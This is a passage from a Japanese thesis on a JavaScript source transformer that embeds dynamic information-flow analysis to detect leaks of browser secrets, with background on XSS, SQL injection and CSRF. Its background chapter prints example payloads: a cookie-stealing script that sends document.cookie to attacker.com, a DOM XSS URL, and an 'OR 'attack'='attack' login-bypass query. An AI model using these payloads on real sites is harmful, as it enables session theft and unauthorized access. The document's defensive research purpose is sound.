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第 1章

序論

JavaScriptコードをWebブラウザで実行すると、Webブラウザが保持するユーザの機密

データ（document.cookie等）が漏洩する場合がある。例えば、Cross-Site-Scripting (XSS)

はセキュリティが不備な第三者のWebアプリケーションに悪意のある JavaScriptコード

を設置することで、攻撃者のサーバにユーザの機密情報を送信する。現在、Webブラウザ

を使用するユーザは JavaScriptエンジンを無効化する以外、Webブラウザに保持されてい

る機密情報の漏洩を阻止する手段を持ち合わせていない。

情報流解析はプログラムがユーザの機密情報を漏洩するかを検査するプログラム解析手

法のことである。Austinらの動的情報流解析 [2] はプログラム中のデータにセキュリティ

ラベルを付加し、機密ラベルを保持するデータの情報流を動的に追跡する。これを用いる

ことで、ユーザの機密データを漏洩するコードを動的に検出することが可能である。Seth

Justらは動的情報流解析を取り入れた改造 JavaScriptエンジンを実装した [3]。しかし、

この実装法は JavaScriptエンジンを直接改造しているため、Safariや Firefoxなど主要な

Webブラウザがアップデートされる度に、Webブラウザの JavaScriptエンジンを改造し

直す必要がある。更に、現在の Webブラウザは Safari, Firefox, Google Chrome, Opera,

Internet Explorerなど数多く存在するため、主要なWebブラウザ全てに改造 JavaScriptエ

ンジンを実装するのは極めて難しい。そのため、Webブラウザを使用するユーザに改造

JavaScriptエンジンが実装された主要なWebブラウザを広めるのは困難である。

そこで、本研究では JavaScriptプログラムを Austinらの動的情報流解析手法 [2] に基

づいた動的情報流解析を行うコードを埋め込んだ JavaScriptプログラムに変換する変換器

を実装した。この変換器は、元の JavaScriptコードを静的に構文解析し、動的情報流解析

を行いながらプログラムを実行する JavaScriptコードに変換するソースコード変換器であ

る。この変換器によって変換された JavaScriptプログラムを実行することで、ユーザの機

密情報を保持した変数のラベルの情報をデータフロー上で追跡することが可能になる。こ

の実装法では、変換器はWebブラウザ内部に限らず、プロキシサーバやWebブラウザの

アドオンなど、様々な場所に設置することが可能であるため、既存のWebブラウザに搭

載されている JavaScriptエンジンを改造する必要がない。

本論文は以下のように構成されている。2章では、既存のプログラムの脆弱性の種類と
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その脆弱性を検出するプログラミング解析である Taint解析と情報流解析について述べ

る。3章では、関連研究として Austinの動的情報流解析手法を用いた既存の実装法の特徴

と問題点について述べる。4章と 5章では、本研究で実装したソースコード変換器の設計

と実装について説明し、6章では変換後のプログラムに対するラベリングの正確性の検証

と性能評価について議論する。最後に 7章で、結論と今後の課題について述べる。
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第 2章

背景

本章では近年のWebアプリケーションの主要な脆弱性と、その脆弱性を検出するプロ

グラミング解析である Taint解析と情報流解析について述べる。

2.1 Webアプリケーションの主要な脆弱性

Webアプリケーションの主要な脆弱性として、Cross-Site-Scripting (XSS)や SQLイ

ンジェクション (SQLI)、Cross-Site-Request-Forgeries (CSRF)などが挙げられる。また、

IPA(情報処理推進機構) は 2012年四半期の調査において、届出 156件の脆弱性の内

88%が XSSであると報告している [6]。本節では XSS, SQLI, CSRFの 3種類の脆弱性に

ついて説明する。

2.1.1 XSS

XSSとは第三者の脆弱なWebアプリケーションを利用し、悪意のあるスクリプトを含

んだコードをWebアプリケーション利用者のWebブラウザに送信し、実行させる脆弱性

のことである。XSSには反射型 XSS(Reflected XSS)、蓄積型 XSS(Stored XSS)、DOM型

XSSの 3種類の攻撃手法がある。

• 反射型 XSS (Reflected XSS)

反射型 XSSとは、攻撃者が用意した悪意のあるスクリプトを含んだコードをその

ままユーザに返す攻撃手法である。ユーザが攻撃者のWebサーバから攻撃者が用

意した悪意のあるコードを取得することで、脆弱な第三者のサーバを経由して、攻

撃者の悪意のあるスクリプトを実行され、ユーザの機密情報が漏洩される。下記に

そのコード例を示す。

<a href="http://vulnerability.com/weak?cookie=

　<script>document.location = ’http://attacker.com/steal?cookie=’

+ document.cookie;</script>"</a>
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このコードは悪意のあるスクリプトを無効化することができない脆弱なWebアプ

リケーションサーバ http://vulnerability.com/を経由して、Webブラウザのクッキー

を攻撃者のサーバ http://attacker.com/に送信する。ユーザがインターネット上でこ

のようなリンク先にアクセスすることで、悪意のあるスクリプトが実行され、ユー

ザの機密情報が漏洩される。

• 蓄積型 XSS (Stored XSS)

蓄積型 XSSとは、攻撃者が用意した悪意のあるスクリプトを含んだコードを脆弱

な Webアプリケーションサーバに送信し、ユーザがそのサーバにアクセスした

時に悪意のあるスクリプトを実行させる攻撃手法である。下記にそのコード例を

示す。

<script>document.location = ’http://attacker.com/steal?cookie=’

+ document.cookie;</script>

このコードはWebブラウザのクッキーを攻撃者のサーバ http://attacker.com/に送信

するスクリプトである。攻撃者はこのようなコードを無効化できない脆弱な Web

アプリケーションサーバに悪意のあるスクリプトを埋め込む。そしてユーザがその

サーバにアクセスすることで、悪意のあるスクリプトが実行され、ユーザの機密情

報が漏洩される。

• DOM型 XSS

DOM(Document Object Model)型 XSSとは、Webブラウザ内部で行われる DOM

のデータ構造の操作を利用して悪意のあるスクリプトを含んだコードを実行

させる攻撃手法である。DOM 型 XSSは反射型 XSS及び蓄積型 XSSとは異

なり、Webアプリケーションサーバ側が悪意のあるスクリプトを直接出力し

ない特徴を持つ。図 2.1に Amik Klein[9] が紹介する DOM 型 XSS攻撃を行

うための HTML の例を示し、図 2.2に同著者が紹介する第三者の Webアプ

リケーションサーバに設置する DOM 型 XSS攻撃コード例を示す。図 2.2の

http://www.vulnerable.site/welcome.htmlの中身は図 2.1で示す HTML である。図

2.1は URLの”name=”以降に入力された文字列を document.writeメソッドで出力

するための DOM 操作を行う HTML ファイルである。図 2.2は Webブラウザの

document.cookieの中身をアラートするための攻撃コードである。ユーザが図 2.2

の URLにアクセスした場合、http://www.vulnerable.site/welcome.htmlは”name=”

以降のコード”<script>alert(document.cookie)</script>”を document.writeメソッド

で出力する。すなわち、Webブラウザが保持する document.cookieの中身がアラー
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　　　　　<HTML>

　　　　　<TITLE>Welcome!</TITLE>

　　　　　 Hi

　　　　　<SCRIPT>

　　　　　 var pos=document.URL.indexOf("name=")+5;

　　　　　 document.write(document.URL.substring(pos,document.URL.length));

　　　　　</SCRIPT>

　　　　　<BR>

　　　　　Welcome to our system

　　　　　…

　　　　　</HTML>

図 2.1 DOM型 XSS攻撃を行うための HTML の例 (文献 [9] から抜粋)

　　　　　 http://www.vulnerable.site/welcome.html?name=

　　　　　　　　　<script>alert(document.cookie)</script>

図 2.2 DOM型 XSS攻撃コード例 (文献 [9] から抜粋)

トされる。DOM 型 XSSは図 2.1に示すような HTML ファイルで DOM のオブ

ジェクトやプロパティの操作を行い、ユーザの機密情報を取得する操作を行う。

従って、第三者のWebアプリケーションサーバ側では、悪意のある攻撃コードを

検出できない場合がある。

2.1.2 SQLI

SQLIとは Webアプリケーションのデータベースサーバに悪意のある SQL文を送信

し、データベースサーバを不正に操作する攻撃手法である。攻撃者がデータベースの機密

情報を取得や改竄を行う SQL文を用意し、それをデータベースサーバに注入し、実行さ

れることで、機密情報の漏洩あるいは改竄などが行われる。図 2.3にWebサーバにログ

インするための通常の SQL文を示し、図 2.4に SQLI攻撃コード例を示す。図 2.3はユー

ザが正規の手続きを取ってWebサーバのログインする場合のコード例である。この SQL

文はWebサーバの利用者 hogeがユーザ ID’hoge’とそのパスワード’2013’を入力した場

合のコードである。これを実行すると、Webサーバはデータベースサーバに保持されてい

るユーザ ID とパスワードを確認し、一致していれば真を返し、Webサーバへのログイン

を許可する。図 2.4は攻撃者が不正にWebサーバにログインするためのコード例である。
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SELECT * FROM customer WHERE name=’hoge’ AND pwd=’2013’

図 2.3 Webサーバにログインするための通常の SQL文

SELECT * FROM customer WHERE name=’’OR ’attack’=’attack’

AND pwd=’’OR ’attack’=’attack’

図 2.4 SQLI攻撃コード例

この SQL文はWHERE句が必ず真になるように記述されたコードである。これを実行す

ると、Webサーバは必ず真を返すため、攻撃者の不正なWebサーバへのログインを許可

する。

2.1.3 CSRF

CSRFとは Webサーバに悪意のあるスクリプトを含んだコードを用意し、その Web

サーバにアクセスしたユーザが意図しない操作のリクエストを第三者のWebサーバに送

信する攻撃手法である。攻撃者は自身のWebサーバに悪意のある JavaScriptコードを設

置し、ユーザはその Webサーバにアクセスし、Webブラウザが悪意のあるスクリプト

コードを実行することで、ユーザ自身が意図しないリクエストを第三者のサーバに送信

する。例えば、第三者のWebサーバ上の掲示板に意図しない書き込みを行ったり、デー

タベースサーバに対して SQLI攻撃を行うことなどが可能である。CSRFは XSSとは異

なり、脆弱なサーバを経由せずに行うことができる攻撃であるため、Webブラウザ側が

セキュリティ対策を施さなければならない。しかし、現状では JavaScriptを無効化する以

外、ブラウザはこのような攻撃に対する防衛手段を持ち合わせていない。

2.2 Taint解析

2.1.2に示すような外部から注入された危険データを検出するプログラム解析として、

Taint解析がある。Taint解析は危険なデータに汚染フラグ (Taint)を付加し、データフロー

を追跡することで、危険な実行を検出する。Taintが付加されたデータが代入式や if 文

などで他のデータに伝播された場合、そのデータにも Taintが付加される。Taintが付加

されたデータが、プログラム中の洗浄用の関数によって、汚染が取り除かれた場合、その

データの Taintは取り除かれる。
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　　　　　 var x;

　　　　　 if(document.cookie){x = false;}

　　　　　 else{x = true;}

　　　　　 if(x){return false;}

　　　　　 else{return true;}

図 2.5 暗黙的フローを利用した機密情報を漏洩させるコード例

2.3 情報流解析

動的 Taint解析は外部から注入された危険なデータにフラグを付加し、プログラム中の

データフローを追跡することで、SQLIのような外部から注入された不正なコードの実行

を検出することは可能であるが、プログラムにおけるユーザが保持する内部の機密情報

の流れ (情報流) を追跡する解析ではないので、暗黙的フローによる機密情報の漏洩を検

出することはできない。暗黙的フローとは明示的な代入を行わずにデータの情報を伝播

させるデータフローのことである。図 2.5に暗黙的フローを利用した機密情報を漏洩させ

るコード例を示す。このプログラムは if 文において document.cookie の評価結果が

真であれば true を返し、そうでなければ false を返す JavaScriptコードである。この

プログラムでは、document.cookie の値を直接取得しないため、データフロー上では

document.cookie は漏洩しないが、実際は document.cookie の評価結果によっ

て、返される値が異なるため、document.cookie の情報が漏洩してしまう。

プログラム中の機密情報にフラグを付加し、プログラム中の情報流を追跡することで、

機密情報の伝播と漏洩を検出するプログラム解析手法として、情報流解析がある。情報流

解析を用いることで、2.1.1節で示した XSSや図 2.5の暗黙的フローなど JavaScriptプロ

グラム中に記述されるWebブラウザの機密情報を取得するコードの実行を検出すること

が可能である。2.1.1節で示したコードの場合、いずれにおいても document.cookie

に機密情報を示すフラグを付加することで、機密情報を漏洩するコードとして検出するこ

とが可能である。

Austinらは 2009年に JavaScriptのような動的型付言語 λinfoを設計し、この言語を解

析対象とした動的情報流解析の新しい評価規則、Universal Labeling Semantics (ULS)と

Sparse Labeling Semantics (SLS)を提案した [1]。この動的情報流解析はプログラム中の

値に機密 (H)あるいは公然 (L) を表すラベルを付加し、機密なラベルが付加されたデータ

の情報が外部に漏洩する可能性があるかを解析する。この動的情報流解析手法の評価規則

は、静的解析を用いずに λinfoで書かれたプログラム中のセキュリティラベルを動的に追
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跡することが可能である。ULSはプログラム中の全ての値にラベルを付加する評価規則

であるのに対し、SLSはプログラム中の値がセキュリティ領域間を移動する場合のみ、ラ

ベルを付加する評価規則である。ULSと SLSの評価を行った結果、SLSは ULSと比較

して、20-50％の高速化を実現できたと報告されている。

更に Austinらは 2011年に文献 [1] と同様の評価規則を JavaScriptのサブセットである

動的型付言語 Featherweight JavaScriptに適用した [2]。この言語は JavaScriptで用いられ

る構文を全て式で表現しており、JavaScriptと同様にオブジェクトや配列、プロトタイプ

チェーンなどが適用されている。Featherweight JavaScriptで書かれた式は LambdaScript

と呼ばれる λinfoのような動的型付言語に変換され、文献 [1] とよく似た解析手法でラベ

リングを行うことができる。文献 [2] における評価規則 ULSの詳細を 4.1節で述べてい

るので、これらの文献の解析手法に関する説明は省略する。



3.関連研究 9

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

第 3章

関連研究

Seth Justらは Austinらが提案した動的情報流解析手法 [1] の ULSを取り入れた改造

JavaScriptエンジンを実装した [3]。この改造 JavaScriptエンジンはフル JavaScriptに対応

している。この改造 JavaScriptエンジンはプログラム中の情報流を可能な限り動的に追跡

するが、Austinらの動的情報流解析では検出することができない、暗黙的フローにおける

機密データのラベリングを正しく行うため、プログラムの後支配情報を取得する静的解析

器を実装している。また、著者らは SunSpider-0.9.1 JavaScriptベンチマークソフトの 10

個のテストプログラムを用いて、オリジナルの JavaScriptと改造 JavaScriptの実行時間を

測定した。その結果、改造 JavaScriptのオーバヘッドは平均してオリジナルの JavaScript

の約 150%であり、改造 JavaScriptの実行時間の内、0.25%は静的解析に費やされたと報

告されている。しかし、この実装法は JavaScriptエンジンを直接改造しているため、一般

ユーザに改造 JavaScriptエンジンを搭載したWebブラウザを広めることが困難である。
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第 4章

設計

本研究では、ECMAScript [4]によって標準化されている JavaScriptで書かれたプログ

ラムを、Austinらの動的情報流解析 [2] を埋め込んだコードに変換するソースコード変換

器の設計と実装をした。変換器が出力する JavaScriptコードは、既存のWebブラウザで

実行することができるため、Webブラウザを改造する必要がない。本研究では Austinら

の動的情報流解析手法の一つである Universal Labeling Semantics (ULS)を用いて変換器

の設計と実装を行った。まず 4.1節では本章で述べる設計の準備として、ECMAScriptと

Austinらの動的情報流解析について述べる。4.2節ではソースコードの A 正規化について

説明し、4.3節で変換するプログラムの設計について述べる。4.4節ではソースコード変

換器の実装において JavaScript特有の問題を持つ、関数 eval の問題点について述べる。

4.1 準備

4.1.1 ECMAScript

ECMAScriptはオブジェクト指向に基づいていたプログラミング言語であるが、クラス

やインスタンスは持たない。オブジェクトは以下のようにリテラル記法{} や、new演算

子を使用することで生成される。

　　　　　 var o={};

　　　　　 var o=new Object();

この 2文は等価であり、どちらも空のオブジェクト{} を変数 o に代入するコードである。

以下に、本研究の設計を述べるにあたって必要となるオブジェクトとスコープチェーンに

ついて説明する。

オブジェクト

ECMAScriptでは、オブジェクトの中に任意のプロパティを与え、プロパティに任意の

値を格納することができる。オブジェクト内のプロパティは以下のように管理される。
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{ ⟨プロパティ名 ⟩: ⟨値 ⟩, ...}

new演算子やリテラル記法を用いて生成されたユーザ定義のオブジェクト内のプロパティ

は、コンパイラの静的解析で判別することができないので、実行時にしか分からない。生

成されたオブジェクトは__proto__ プロパティを持ち、指定したプロパティがオブジェ

クト内に存在しない場合、オブジェクト内の__proto__ が指すオブジェクトにアクセス

し、再び指定したプロパティが存在しないか探索する。その例を以下に示す。

　　　　　 var o=new Object();

　　　　　 alert(o.valueOf());

この例では、オブジェクト o には valueOf メソッド (プロパティ)は存在しない。2行

目のコードが実行された時、ECMAScriptは o に valueOf が存在しないことを確認し、

o が持つ__proto__ が指すオブジェクトにアクセスし、そこから valueOf を発見し、

valueOf メソッドを実行する。また、2行目のコードは o の__proto__ が指すオブ

ジェクトの valueOf を取り出すので、以下に示すコードは等価である。

　　　　　 alert(o.valueOf());

　　　　　 alert(o.__proto__.valueOf());

ECMAScriptではグローバル変数とグローバル関数を管理するグローバルオブジェクト

を ECMAScript処理系起動時に生成する。グローバルスコープで宣言・定義された全て

の変数と関数オブジェクトは、グローバルオブジェクトのプロパティとして扱われる。ま

た、ローカル変数を同様の方法で扱うためのプログラム中に定義された関数オブジェクト

を関数呼び出しによって実行した時、その関数のスコープオブジェクトを生成する。グ

ローバルオブジェクトと同様に、スコープオブジェクト内で宣言・定義された変数と関数

オブジェクトは全てスコープオブジェクトのプロパティとして扱われ、コンパイラの静的

解析で全て判別することができる。

スコープチェーン

スコープチェーンとは、プログラム中の変数の値を取得するため辿られる変数オブジェ

クトのリストである。ECMAScriptの各実行コンテキストはスコープチェーンによって関

連付けられており、ECMAScriptの制御が実行コンテキストに入ると、新たにスコープ

チェーンが生成される。関数オブジェクト内で使用される変数はその関数のスコープオブ

ジェクト内で与えられるローカル変数である場合と、スコープオブジェクト外で与えられ

るローカル変数またはグローバル変数である場合がある。以下にコード例を示す。
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図 4.1 生成されるスコープチェーンの例

　　　　　 var a="hoge"; // グローバルスコープ

　　　　　 var b="hoge";

　　　　　 function f1(){

　　　　　　　 var b="hogehoge";

　　　　　　　 function f2(){

　　　　　　　　　 var c="hogehogehoge";

　　　　　　　　　 alert(a);

　　　　　　　　　 alert(b);

　　　　　　　　　 alert(c);

　　　　　　　}

　　　　　}

これは、変数 a をグローバルオブジェクトのプロパティ、変数 b を関数 f1 のスコープオ

ブジェクトのプロパティ、変数 c を関数 f2 のスコープオブジェクトのプロパティとして

与えたコード例である。このコード例を var c="hogehogehoge"; まで実行した時、

図 4.1のようなスコープチェーンが生成される。関数 f2 内の各 alert メソッドの引数

として与えられている変数を参照する時、ECMAScript処理系は図 4.1の示すスコープ

チェーンを辿り、各変数を取得する。スコープチェーンは内側から探索されるので、関数

f2 で変数 b を参照すると、関数 f1 のスコープオブジェクト内のプロパティ b が取り出

される。従って、コード例の各 alert メソッドの表示結果は以下の通りである。

alert(a) → "hoge" alert(b) → "hogehoge" alert(c) →
"hogehogehoge"
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4.1.2 Austinらの動的情報流解析

ラベルの取り扱い

Austinらの動的情報流解析手法におけるラベルは、セキュリティラベルと非セキュリ

ティラベルの 2つで表現されている。この 2つのラベルは順序 ⊑、結合 ⊔が使われる束
で成立しており、2つのラベルは L ⊑ H の順序関係が成立している要素 L(非セキュリ

ティラベル)と H(セキュリティラベル)で表現されている。ラベル Lとラベル H を結合

(L ⊔H)した場合、そのラベルは H となる。

LambdaScriptの意味論

文献 [2]では動的情報流解析手法を評価規則を用いて定義している。評価規則とは、与え

られた式を評価する際の前提条件と評価過程を示したものである。以下に LambdaScript

を説明するための評価規則の例を示す。これは Austinらの論文中に定義されている評価

規則ではない。

　σ, θ, e1 ⇓ σ1, v1

σ1, θ, e2 ⇓ σ′, v

σ, θ, e1 e2 ⇓ σ′, v

この評価規則は前提部分の σ, θ, e1 ⇓ σ1, v1 と σ1, θ, e2 ⇓ σ′, vが成立する時、σ, θ, e1 e2 ⇓
σ′, v が成立することを表す。Austinらが定義する評価規則では、前提部分に記述されて

いるものを上から順番に評価する。後述する CONSTなど、前提部分が空白の評価規則は

前提条件なしで成立する評価規則であることを意味する。σ はストア、θは環境、eは式、

⇓は評価、v は値を表す。Austinらの評価規則は ⇓の左部分に示された式を評価すると、
前提部分のものを上から逐次的に評価し、前提部分に記述される条件が全てが成立する場

合、右部分に示された評価結果が返されることを表現する。例えば上記に示した評価規則

では、⇓の左部分に示された実行前の式 eとストア σと環境 θで式 eを評価し、前提部分

の２つの部分式を逐次的に評価し、共に ⇓ の右部分で示されるような結果が返される場
合、右部分に示された値 v と新しいストア σ′ が返されることを意味する。以下に σ と θ

の詳細を述べる。

ストア σ

ストア σ はメモリ空間中のポインタに値を割り当てるためのマップ関数である。

JavaScriptでは new演算子で生成されたオブジェクトがポインタに割り当てられる値と
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なる。例えば、ポインタ p に空のオブジェクトを割り当てる場合、σ[p :={} ] と表現す

る。また、任意の式 eを評価した場合、適用された評価規則によっては σのマッピングが

変更される可能性があるので、⇓の右部分に評価後のストア σ′ が表現される。後述する

CONSTなど、必ずストアの変化がない評価規則では、評価後のストアも σが与えられる。

環境 θ

環境 θは変数に値（定数やポインタなど）を割り当てるためのマップ関数である。例え

ば、変数 xに値 pが割り当てる場合、θ[x := p]と表現する。また、変数からオブジェク

トを取り出す場合、変数に格納されているポインタを経由してオブジェクトを取得するた

めに、θ によって変数に割り当てられたポインタを取得し、σ によってポインタに割り当

てられたオブジェクトを取り出す。

Universal Labeling Semantics

Austinらの評価規則の一つである ULSは、プログラム中の全ての値にラベリングを行

う意味論である。以下にその概念を説明するための評価規則の例を示す。これは Austin

らの論文中に定義されている評価規則ではない。

　σ, θ, e1 ⇓pc σ1, r
k

σ1, θ, e2 ⇓k σ′, v

σ, θ, e1 e2 ⇓pc σ
′, v

ULSでは、評価 ⇓ とその右部分に示される返値全てにラベルが付加される。pc はプロ

グラムカウンタに付随するラベル、k は任意のラベル、r は値、v は値とラベルを表す。

⇓label とは、現在のプログラムカウンタのラベルを labelにして評価することを意味する。

Austinらが定義する評価規則では前提部分の上部分の式を評価して返されたラベルをその

下部分で使うことで、式を評価するにあたって行われるラベルの伝播を表現している。例

えばこの評価規則の前提部分では、上段の式を評価して返された値のラベル kを下段の ⇓
に付加して評価することを表現している。以下に本研究の変換器に実装する ULSの評価

規則則 CONST、VAR、FUN、APP、BINOP、NEW、GET-DIRECT、GET-UNDEFINED、

SET、THEN、ELSEについて説明する。

CONST

　

σ, θ, c ⇓pc σ, c
pc

(CONST)
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CONSTは定数が評価されるにあたって適用される評価規則である。この評価規則は任意

の定数 cにプログラムカウンタの現在のラベル pcを付加する。以下に、pcが Lの時、定

数 1 を評価した場合に適用される例を示す。

　

σ, θ, 1 ⇓L σ, 1L

VAR

　

σ, θ, x ⇓pc σ, (θ(x) ⊔ pc)
(VAR)

VAR はグローバルオブジェクト、スコープオブジェクト、this が評価される場合のみ適

用される評価規則である。θ(x)は環境 θ によってマッピングされている xのポインタと

ラベルを表す。この評価規則は θ(x)の値に θ(x)のラベルと pcを結合したラベルを付加

する。以下に、pcが Lの時、ポインタ pH を格納する this を評価した場合に適用され

る例を示す。

　

σ, θ[this = pH ], this ⇓L σ, pH

FUN

　　

σ, θ, (λx.e) ⇓pc σ
′, (λx.e, θ)pc

(FUN)

FUNは関数オブジェクトを生成する λ式 (λ x.e )が評価された時に適用される評価規則

である。この評価規則はクロージャ (λx.e, θ) に pc を付加する。以下に、pc が L の時、

クロージャ (λ x.(x+1) )を評価した場合に適用される例を示す。

　　

σ, θ, (λx.(x+ 1)) ⇓L σ′, (λx.(x+ 1), θ)L

APP

σ, θ, e1 ⇓pc σ1, (λx.e, θ
′)k

σ1, θ, e2 ⇓pc σ2, v1

σ2, θ
′[x := v1], e ⇓k σ′, v

σ, θ, e1 e2 ⇓pc σ
′, v

(APP)
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APPは関数呼び出し e1 e2 が評価された時に適用される評価規則である。関数呼び出しを

行うためには、クロージャと引数が必要とされるので、e1 の評価結果がクロージャで、e2

の評価結果が値である前提条件が与えられる。以下に、pcが Lで式 x[y] の評価結果が

クロージャ (λ x.(x+1) , θ′)H であり、引数が 1 である時、関数呼び出し x[y] 1 を評価

した場合に適用される例を示す。x[y] と (x+1) の評価手順は省略する。

σ, θ, x[y] ⇓L σ1, (λx.(x+ 1), θ′)H σ1, θ, 1 ⇓L σ1, 1
L σ1, θ

′[x := 1L], (x+ 1) ⇓H σ′, 2H

σ, θ, x[y] 1 ⇓L σ′, 2H

BINOP

σ, θ, e1 ⇓pc σ1, c
k

σ1, θ, e2 ⇓pc σ
′, dl

r = c[[⊕]]d

σ, θ, e1 ⊕ e2 ⇓pc σ
′, rk⊔l

(BINOP)

BINOPは演算式 e1 ⊕ e2 が評価された時に適用される評価規則である。⊕ は + や==な

どの演算子を表現する。[[⊕]]は任意の 2つの値を演算子 ⊕を用いて適用することを意味
する。演算を行うためは 2つの引数が共に定数である必要があるので、e1,e2 の評価結果

が共に定数とラベルのペア ck, dl である前提条件が与えられる。以下に、pc が L で式

x[y] の評価結果が 1H である時、演算式 x[y] +1 を評価した場合に適用される例を示

す。x[y] の評価手順は省略する。

σ, θ, x[y] ⇓L σ′, 1H σ′, θ, 1 ⇓L σ′, 1L 2H = 1H [[+]]1L

σ, θ, x[y] + 1 ⇓L σ′, 2H

NEW

p ∈/dom(σ)

σ, θ, new ⇓pc σ[p := {}pc], ppc
(NEW)

NEWは新しいオブジェクトを生成するための演算子 newが評価された時に適用される

評価規則である。この評価規則は新たに生成した空のオブジェクト{} とそのオブジェク

トを指すポインタ pの両方に pcを付加する。pは未使用のポインタである。以下に、pc

が L の時に newを評価した場合に適用される例を示す。

p1 ∈/dom(σ)

σ, θ, new ⇓L σ[p1 := {}L], pL1
(NEW)
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GET-DIRECT

σ, θ, e1 ⇓pc σ1, p
k

σ1, θ, e2 ⇓pc σ
′, sl

R = σ′(p)

s ∈ dom(R)

rm = R(s) ⊔ label(R)

σ, θ, e1[e2] ⇓pc σ
′, rm⊔k⊔l

(GET-DIRECT)

GET-DIRECTは e1 を評価して得られたオブジェクト Rから e2 を評価して得られたプロ

パティ s の値を取り出すにあたって適用される評価規則である。この評価規則における

e2 の評価結果の文字列 sはプロパティ名、dom(R)はオブジェクト Rの定義域、label(R)

はオブジェクト R のラベル、R(s) はオブジェクト R のプロパティ s の値とラベルを表

す。この評価規則には、ポインタ pが示すオブジェクト Rにプロパティ sが存在してい

る前提条件が与えられる。以下に、pcが Lで this の本体が{x:1 H } L で this のポイ

ンタが pL1 の時、this["x"] を評価した場合に適用される例を示す。

σ[p1 := {x : 1H}L], θ[this := pL1 ], this ⇓L σ[p1 := {x : 1H}L], pL1 ...
σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] ⇓L σ[p1 := {x : 1H}L], 1H

...σ[p1 := {x : 1H}L], θ[this := pL1 ], ”x” ⇓L σ[p1 := {x : 1H}L], ”x”L...
σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] ⇓L σ[p1 := {x : 1H}L], 1H

...R = {x : 1H}L(= σ(p1)) ”x” ∈ R 1H(= R(”x”) ⊔ label(R))

σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] ⇓L σ[p1 := {x : 1H}L], 1H

GET-PARENT

σ, θ, e1 ⇓pc σ1, p
k

σ1, θ, e2 ⇓pc σ2, s
l

R = σ2(p)

s ∈/dom(R)

” proto ” ∈ dom(R)

qm = R(” proto ”) ⊔ label(R)

σ2, θ, q[s] ⇓m⊔k⊔l σ
′, v

σ, θ, e1[e2] ⇓pc σ
′, rm⊔k⊔l

(GET-PARENT)
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GET-PARENTはプロパティ sがオブジェクト Rにない場合、Rの_proto_ が指すオブ

ジェクトにアクセスし、そのオブジェクトに sが存在するかを探索するにあたって適用さ

れる評価規則である。この評価規則はプロパティ sを探索するにあたってアクセスしたプ

ロトタイプチェーン上のオブジェクトとそのポインタのラベルを結合する。オブジェクト

Rにプロパティ sと_proto_ がない場合、定数 undefined を返す GET-UNDEFINED

が適用される。

SET

σ, θ, e1 ⇓pc σ1, p
k

σ1, θ, e2 ⇓pc σ2, s
l

σ2, θ, e3 ⇓pc σ
′, v

R = σ′(p)

R′ = R+ (s : v ⊔ l)

k ⊑ label(R)

l ⊑ label(R, s)

σ, θ, e1[e2] = e3 ⇓pc σ
′[p := R′], v

(SET)

SETはプロパティ e1[e2] に値 e3 を格納する代入式が評価された時に適用される評価規

則である。label(R, s) はオブジェクト R のプロパティ s の値のラベルを表現する。オ

ブジェクト R にプロパティ sが存在しない場合、label(R, s)は label(R)と等価である。

R+ (s : v ⊔ l)はオブジェクト Rにプロパティ s : v ⊔ lを書き加えたオブジェクトを表現

する。前提条件 k ⊑ label(R)は代入を行う時の実行コンテキストのラベルが H の時に、

機密情報を持たない非セキュリティなオブジェクトが機密情報を持つオブジェクトに更新

されるのを防ぐために適用されている。前提条件 l ⊑ label(R, s) も同様の理由で適用さ

れている。以下に、pcが L で this の本体が{ x : 1H } L で this のポインタが pL1 の時、

this["x"] =2 を評価した場合に適用される例を示す。

σ[p1 := {x : 1H}L], θ[this := pL1 ], this ⇓L σ[p1 := {x : 1H}L], pL1 ...
σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] = 2 ⇓L σ[p1 := R′], 2L

...σ[p1 := {x : 1H}L], θ[this := pL1 ], ”x” ⇓L σ[p1 := {x : 1H}L], ”x”L...
σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] = 2 ⇓L σ[p1 := R′], 2L

...σ[p1 := {x : 1H}L], θ[this := pL1 ], 2 ⇓L σ[p1 := {x : 1H}L], 2L R = {x : 1H}L(= σ(p1))...

σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] = 2 ⇓L σ[p1 := R′], 2L
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...R′ = {x : 2L}L L ⊑ L(= label(R)) L ⊑ H(= label(R, x))

σ[p1 := {x : 1H}L], θ[this := pL1 ], this[”x”] = 2 ⇓L σ[p1 := R′], 2L

THENと ELSE

σ, θ, e1 ⇓pc σ1, (true, θ)
k

σ1, θ, e2 ⇓k σ′, v

σ, θ, (if (e1) {e2} else {e3}) ⇓pc σ
′, v

(THEN)

σ, θ, e1 ⇓pc σ1, (false, θ)
k

σ1, θ, e3 ⇓k σ′, v

σ, θ, (if (e1) {e2} else {e3}) ⇓pc σ
′, v

(ELSE)

THENと ELSEは if 式を評価する場合において適用される評価規則である。式 e1 の評

価結果が trueの場合 THENが適用され、falseの場合 ELSEが適用される。Featherweight

JavaScriptでは trueと falseは λ式で表現されているので、e1 が評価される時、適用され

る評価規則は FUNとなる。従って、trueと falseはそれぞれ関数として表現されている

ため、環境 θ が付随する。if 式において THENが適用される場合、返値は (true, θ) と

なり、ELSEが適用される場合、返値は (false, θ)となる。ただし、JavaScriptでは trueと

falseは定数であるので、本研究において、2つの値を評価するにあたって適用する評価規

則は CONSTになる。if 式の条件式 e1 に機密データが与えられた場合、if 式が返す値

も機密データであるので、e1 の値のラベルを伝播するため、if 式の e2 または e3 を評価

するにあたってプログラムカウンタラベルは条件式 e1 の値のラベル k となる。以下に、

pcが L で x[y] の評価結果が 0H であり、条件式が x[y] ==0 であり、真なら 1を評価

し、偽なら 2を評価する if 式を評価した場合に適用される例を示す。x[y] の評価手順

は省略する。

σ, θ, x[y] ⇓L σ′, 0H σ′, θ, 0 ⇓L σ′, 0L (true, θ)(= 0 == 0)

σ, θ, (x[y] == 0) ⇓L σ′, (true, θ)H σ′, θ, 1 ⇓H σ′, 1H

σ, θ, (if (x[y] == 0) {1} else {2}) ⇓L σ′, 1H

4.2 A正規化

A 正規化とは計算の途中結果を変数に割り当てるコード変換手法のことである。複雑

な式を A 正規化し単純な複数の式に分割することで、コード変換しやすいプログラムに

